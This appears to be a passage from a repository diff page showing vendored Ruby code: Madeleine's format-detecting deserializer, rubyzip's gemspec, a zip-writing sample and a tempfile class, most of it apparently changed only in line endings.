||||
# Close method changes the sysid for Prox objects so they can't be mistaken for real ones in a new
|
||||
# system before GC gets them
|
||||
#
|
||||
def close
|
||||
begin
|
||||
@list.each_key {|k| myid2ref(k).sysid = nil}
|
||||
rescue RangeError
|
||||
# do nothing
|
||||
end
|
||||
@persister.close
|
||||
end
|
||||
|
||||
#
|
||||
# Pass on any other calls to the persister
|
||||
#
|
||||
def method_missing(symbol, *args, &block)
|
||||
@persister.send(symbol, *args, &block)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
module Deserialize #:nodoc:
|
||||
#
|
||||
# Detect format of an io stream. Leave it rewound.
|
||||
#
|
||||
def Deserialize.detect(io)
|
||||
c = io.getc
|
||||
c1 = io.getc
|
||||
io.rewind
|
||||
if (c == Marshal::MAJOR_VERSION && c1 <= Marshal::MINOR_VERSION)
|
||||
Marshal
|
||||
elsif (c == 31 && c1 == 139) # gzip magic numbers
|
||||
ZMarshal
|
||||
else
|
||||
while (s = io.gets)
|
||||
break if (s !~ /^\s*$/) # ignore blank lines
|
||||
end
|
||||
io.rewind
|
||||
if (s && s =~ /^\s*<\?[xX][mM][lL]/) # "<?xml" begins an xml serialization
|
||||
SOAP::Marshal
|
||||
else
|
||||
while (s = io.gets)
|
||||
break if (s !~ /^\s*#/ && s !~ /^\s*$/) # ignore blank and comment lines
|
||||
end
|
||||
io.rewind
|
||||
if (s && s =~ /^\s*---/) # "---" is the yaml header
|
||||
YAML
|
||||
else
|
||||
nil # failed to detect
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
#
|
||||
# Try to deserialize object. If there was an error, try to detect marshal format,
|
||||
# and return deserialized object using the right marshaller
|
||||
# If detection didn't work, raise up the exception
|
||||
#
|
||||
def Deserialize.load(io, marshaller=Marshal)
|
||||
begin
|
||||
marshaller.load(io)
|
||||
rescue Exception => e
|
||||
io.rewind
|
||||
detected_marshaller = detect(io)
|
||||
if (detected_marshaller == ZMarshal)
|
||||
zio = Zlib::GzipReader.new(io)
|
||||
detected_zmarshaller = detect(zio)
|
||||
zio.finish
|
||||
io.rewind
|
||||
if (detected_zmarshaller)
|
||||
ZMarshal.new(detected_zmarshaller).load(io)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
elsif (detected_marshaller)
|
||||
detected_marshaller.load(io)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
AutomaticSnapshotMadeleine = Madeleine::Automatic::AutomaticSnapshotMadeleine
|
||||
|
|
40
vendor/rubyzip-0.5.6/rubyzip.gemspec
vendored
40
vendor/rubyzip-0.5.6/rubyzip.gemspec
vendored
|
@ -1,20 +1,20 @@
|
|||
$:.unshift '../lib'
|
||||
require 'rubygems'
|
||||
|
||||
spec = Gem::Specification.new do |s|
|
||||
s.name = 'rubyzip'
|
||||
s.version = "0.5.5"
|
||||
s.author = "Thomas Sondergaard"
|
||||
s.email = "thomas(at)thomassondergaard.com"
|
||||
s.homepage = "http://rubyzip.sourceforge.net/"
|
||||
s.platform = Gem::Platform::RUBY
|
||||
s.summary = "rubyzip is a ruby module for reading and writing zip files"
|
||||
s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
|
||||
s.require_path = '.'
|
||||
s.autorequire = 'zip/zip'
|
||||
end
|
||||
|
||||
if $0==__FILE__
|
||||
Gem::Builder.new(spec).build
|
||||
end
|
||||
|
||||
$:.unshift '../lib'
|
||||
require 'rubygems'
|
||||
|
||||
spec = Gem::Specification.new do |s|
|
||||
s.name = 'rubyzip'
|
||||
s.version = "0.5.5"
|
||||
s.author = "Thomas Sondergaard"
|
||||
s.email = "thomas(at)thomassondergaard.com"
|
||||
s.homepage = "http://rubyzip.sourceforge.net/"
|
||||
s.platform = Gem::Platform::RUBY
|
||||
s.summary = "rubyzip is a ruby module for reading and writing zip files"
|
||||
s.files = Dir.glob("{samples,zip,docs}/**/*").delete_if {|item| item.include?("CVS") || item.include?("rdoc")}
|
||||
s.require_path = '.'
|
||||
s.autorequire = 'zip/zip'
|
||||
end
|
||||
|
||||
if $0==__FILE__
|
||||
Gem::Builder.new(spec).build
|
||||
end
|
||||
|
||||
|
|
24
vendor/rubyzip-0.5.6/samples/write_simple.rb
vendored
24
vendor/rubyzip-0.5.6/samples/write_simple.rb
vendored
|
@ -1,13 +1,13 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$: << ".."
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
include Zip
|
||||
|
||||
ZipOutputStream.open('simple.zip') {
|
||||
|zos|
|
||||
ze = zos.put_next_entry 'entry.txt'
|
||||
zos.puts "Hello world"
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
$: << ".."
|
||||
|
||||
require 'zip/zip'
|
||||
|
||||
include Zip
|
||||
|
||||
ZipOutputStream.open('simple.zip') {
|
||||
|zos|
|
||||
ze = zos.put_next_entry 'entry.txt'
|
||||
zos.puts "Hello world"
|
||||
}
|
390
vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb
vendored
390
vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb
vendored
|
@ -1,195 +1,195 @@
|
|||
#
|
||||
# tempfile - manipulates temporary files
|
||||
#
|
||||
# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
|
||||
#
|
||||
|
||||
require 'delegate'
|
||||
require 'tmpdir'
|
||||
|
||||
module BugFix
|
||||
|
||||
# A class for managing temporary files. This library is written to be
|
||||
# thread safe.
|
||||
class Tempfile < DelegateClass(File)
|
||||
MAX_TRY = 10
|
||||
@@cleanlist = []
|
||||
|
||||
# Creates a temporary file of mode 0600 in the temporary directory
|
||||
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
|
||||
# object works just like a File object.
|
||||
#
|
||||
# If tmpdir is omitted, the temporary directory is determined by
|
||||
# Dir::tmpdir provided by 'tmpdir.rb'.
|
||||
# When $SAFE > 0 and the given tmpdir is tainted, it uses
|
||||
# /tmp. (Note that ENV values are tainted by default)
|
||||
def initialize(basename, tmpdir=Dir::tmpdir)
|
||||
if $SAFE > 0 and tmpdir.tainted?
|
||||
tmpdir = '/tmp'
|
||||
end
|
||||
|
||||
lock = nil
|
||||
n = failure = 0
|
||||
|
||||
begin
|
||||
Thread.critical = true
|
||||
|
||||
begin
|
||||
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
|
||||
lock = tmpname + '.lock'
|
||||
n += 1
|
||||
end while @@cleanlist.include?(tmpname) or
|
||||
File.exist?(lock) or File.exist?(tmpname)
|
||||
|
||||
Dir.mkdir(lock)
|
||||
rescue
|
||||
failure += 1
|
||||
retry if failure < MAX_TRY
|
||||
raise "cannot generate tempfile `%s'" % tmpname
|
||||
ensure
|
||||
Thread.critical = false
|
||||
end
|
||||
|
||||
@data = [tmpname]
|
||||
@clean_proc = Tempfile.callback(@data)
|
||||
ObjectSpace.define_finalizer(self, @clean_proc)
|
||||
|
||||
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
|
||||
@tmpname = tmpname
|
||||
@@cleanlist << @tmpname
|
||||
@data[1] = @tmpfile
|
||||
@data[2] = @@cleanlist
|
||||
|
||||
super(@tmpfile)
|
||||
|
||||
# Now we have all the File/IO methods defined, you must not
|
||||
# carelessly put bare puts(), etc. after this.
|
||||
|
||||
Dir.rmdir(lock)
|
||||
end
|
||||
|
||||
# Opens or reopens the file with mode "r+".
|
||||
def open
|
||||
@tmpfile.close if @tmpfile
|
||||
@tmpfile = File.open(@tmpname, 'r+')
|
||||
@data[1] = @tmpfile
|
||||
__setobj__(@tmpfile)
|
||||
end
|
||||
|
||||
def _close # :nodoc:
|
||||
@tmpfile.close if @tmpfile
|
||||
@data[1] = @tmpfile = nil
|
||||
end
|
||||
protected :_close
|
||||
|
||||
# Closes the file. If the optional flag is true, unlinks the file
|
||||
# after closing.
|
||||
#
|
||||
# If you don't explicitly unlink the temporary file, the removal
|
||||
# will be delayed until the object is finalized.
|
||||
def close(unlink_now=false)
|
||||
if unlink_now
|
||||
close!
|
||||
else
|
||||
_close
|
||||
end
|
||||
end
|
||||
|
||||
# Closes and unlinks the file.
|
||||
def close!
|
||||
_close
|
||||
@clean_proc.call
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
end
|
||||
|
||||
# Unlinks the file. On UNIX-like systems, it is often a good idea
|
||||
# to unlink a temporary file immediately after creating and opening
|
||||
# it, because it leaves other programs zero chance to access the
|
||||
# file.
|
||||
def unlink
|
||||
# keep this order for thread safeness
|
||||
File.unlink(@tmpname) if File.exist?(@tmpname)
|
||||
@@cleanlist.delete(@tmpname) if @@cleanlist
|
||||
end
|
||||
alias delete unlink
|
||||
|
||||
if RUBY_VERSION > '1.8.0'
|
||||
def __setobj__(obj)
|
||||
@_dc_obj = obj
|
||||
end
|
||||
else
|
||||
def __setobj__(obj)
|
||||
@obj = obj
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the full path name of the temporary file.
|
||||
def path
|
||||
@tmpname
|
||||
end
|
||||
|
||||
# Returns the size of the temporary file. As a side effect, the IO
|
||||
# buffer is flushed before determining the size.
|
||||
def size
|
||||
if @tmpfile
|
||||
@tmpfile.flush
|
||||
@tmpfile.stat.size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
alias length size
|
||||
|
||||
class << self
|
||||
def callback(data) # :nodoc:
|
||||
pid = $$
|
||||
lambda{
|
||||
if pid == $$
|
||||
path, tmpfile, cleanlist = *data
|
||||
|
||||
print "removing ", path, "..." if $DEBUG
|
||||
|
||||
tmpfile.close if tmpfile
|
||||
|
||||
# keep this order for thread safeness
|
||||
File.unlink(path) if File.exist?(path)
|
||||
cleanlist.delete(path) if cleanlist
|
||||
|
||||
print "done\n" if $DEBUG
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# If no block is given, this is a synonym for new().
|
||||
#
|
||||
# If a block is given, it will be passed tempfile as an argument,
|
||||
# and the tempfile will automatically be closed when the block
|
||||
# terminates. In this case, open() returns nil.
|
||||
def open(*args)
|
||||
tempfile = new(*args)
|
||||
|
||||
if block_given?
|
||||
begin
|
||||
yield(tempfile)
|
||||
ensure
|
||||
tempfile.close
|
||||
end
|
||||
|
||||
nil
|
||||
else
|
||||
tempfile
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end # module BugFix
|
||||
if __FILE__ == $0
|
||||
# $DEBUG = true
|
||||
f = Tempfile.new("foo")
|
||||
f.print("foo\n")
|
||||
f.close
|
||||
f.open
|
||||
p f.gets # => "foo\n"
|
||||
f.close!
|
||||
end
|
||||
#
|
||||
# tempfile - manipulates temporary files
|
||||
#
|
||||
# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $
|
||||
#
|
||||
|
||||
require 'delegate'
|
||||
require 'tmpdir'
|
||||
|
||||
module BugFix
|
||||
|
||||
# A class for managing temporary files. This library is written to be
|
||||
# thread safe.
|
||||
class Tempfile < DelegateClass(File)
|
||||
MAX_TRY = 10
|
||||
@@cleanlist = []
|
||||
|
||||
# Creates a temporary file of mode 0600 in the temporary directory
|
||||
# whose name is basename.pid.n and opens with mode "w+". A Tempfile
|
||||
# object works just like a File object.
|
||||
#
|
||||
# If tmpdir is omitted, the temporary directory is determined by
|
||||
# Dir::tmpdir provided by 'tmpdir.rb'.
|
||||
# When $SAFE > 0 and the given tmpdir is tainted, it uses
|
||||
# /tmp. (Note that ENV values are tainted by default)
|
||||
def initialize(basename, tmpdir=Dir::tmpdir)
|
||||
if $SAFE > 0 and tmpdir.tainted?
|
||||
tmpdir = '/tmp'
|
||||
end
|
||||
|
||||
lock = nil
|
||||
n = failure = 0
|
||||
|
||||
begin
|
||||
Thread.critical = true
|
||||
|
||||
begin
|
||||
tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n)
|
||||
lock = tmpname + '.lock'
|
||||
n += 1
|
||||
end while @@cleanlist.include?(tmpname) or
|
||||
File.exist?(lock) or File.exist?(tmpname)
|
||||
|
||||
Dir.mkdir(lock)
|
||||
rescue
|
||||
failure += 1
|
||||
retry if failure < MAX_TRY
|
||||
raise "cannot generate tempfile `%s'" % tmpname
|
||||
ensure
|
||||
Thread.critical = false
|
||||
end
|
||||
|
||||
@data = [tmpname]
|
||||
@clean_proc = Tempfile.callback(@data)
|
||||
ObjectSpace.define_finalizer(self, @clean_proc)
|
||||
|
||||
@tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600)
|
||||
@tmpname = tmpname
|
||||
@@cleanlist << @tmpname
|
||||
@data[1] = @tmpfile
|
||||
@data[2] = @@cleanlist
|
||||
|
||||
super(@tmpfile)
|
||||
|
||||
# Now we have all the File/IO methods defined, you must not
|
||||
# carelessly put bare puts(), etc. after this.
|
||||
|
||||
Dir.rmdir(lock)
|
||||
end
|
||||
|
||||
# Opens or reopens the file with mode "r+".
|
||||
def open
|
||||
@tmpfile.close if @tmpfile
|
||||
@tmpfile = File.open(@tmpname, 'r+')
|
||||
@data[1] = @tmpfile
|
||||
__setobj__(@tmpfile)
|
||||
end
|
||||
|
||||
def _close # :nodoc:
|
||||
@tmpfile.close if @tmpfile
|
||||
@data[1] = @tmpfile = nil
|
||||
end
|
||||
protected :_close
|
||||
|
||||
# Closes the file. If the optional flag is true, unlinks the file
|
||||
# after closing.
|
||||
#
|
||||
# If you don't explicitly unlink the temporary file, the removal
|
||||
# will be delayed until the object is finalized.
|
||||
def close(unlink_now=false)
|
||||
if unlink_now
|
||||
close!
|
||||
else
|
||||
_close
|
||||
end
|
||||
end
|
||||
|
||||
# Closes and unlinks the file.
|
||||
def close!
|
||||
_close
|
||||
@clean_proc.call
|
||||
ObjectSpace.undefine_finalizer(self)
|
||||
end
|
||||
|
||||
# Unlinks the file. On UNIX-like systems, it is often a good idea
|
||||
# to unlink a temporary file immediately after creating and opening
|
||||
# it, because it leaves other programs zero chance to access the
|
||||
# file.
|
||||
def unlink
|
||||
# keep this order for thread safeness
|
||||
File.unlink(@tmpname) if File.exist?(@tmpname)
|
||||
@@cleanlist.delete(@tmpname) if @@cleanlist
|
||||
end
|
||||
alias delete unlink
|
||||
|
||||
if RUBY_VERSION > '1.8.0'
|
||||
def __setobj__(obj)
|
||||
@_dc_obj = obj
|
||||
end
|
||||
else
|
||||
def __setobj__(obj)
|
||||
@obj = obj
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the full path name of the temporary file.
|
||||
def path
|
||||
@tmpname
|
||||
end
|
||||
|
||||
# Returns the size of the temporary file. As a side effect, the IO
|
||||
# buffer is flushed before determining the size.
|
||||
def size
|
||||
if @tmpfile
|
||||
@tmpfile.flush
|
||||
@tmpfile.stat.size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
alias length size
|
||||
|
||||
class << self
|
||||
def callback(data) # :nodoc:
|
||||
pid = $$
|
||||
lambda{
|
||||
if pid == $$
|
||||
path, tmpfile, cleanlist = *data
|
||||
|
||||
print "removing ", path, "..." if $DEBUG
|
||||
|
||||
tmpfile.close if tmpfile
|
||||
|
||||
# keep this order for thread safeness
|
||||
File.unlink(path) if File.exist?(path)
|
||||
cleanlist.delete(path) if cleanlist
|
||||
|
||||
print "done\n" if $DEBUG
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# If no block is given, this is a synonym for new().
|
||||
#
|
||||
# If a block is given, it will be passed tempfile as an argument,
|
||||
# and the tempfile will automatically be closed when the block
|
||||
# terminates. In this case, open() returns nil.
|
||||
def open(*args)
|
||||
tempfile = new(*args)
|
||||
|
||||
if block_given?
|
||||
begin
|
||||
yield(tempfile)
|
||||
ensure
|
||||
tempfile.close
|
||||
end
|
||||
|
||||
nil
|
||||
else
|
||||
tempfile
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end # module BugFix
|
||||
if __FILE__ == $0
|
||||
# $DEBUG = true
|
||||
f = Tempfile.new("foo")
|
||||
f.print("foo\n")
|
||||
f.close
|
||||
f.open
|
||||
p f.gets # => "foo\n"
|
||||
f.close!
|
||||
end
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue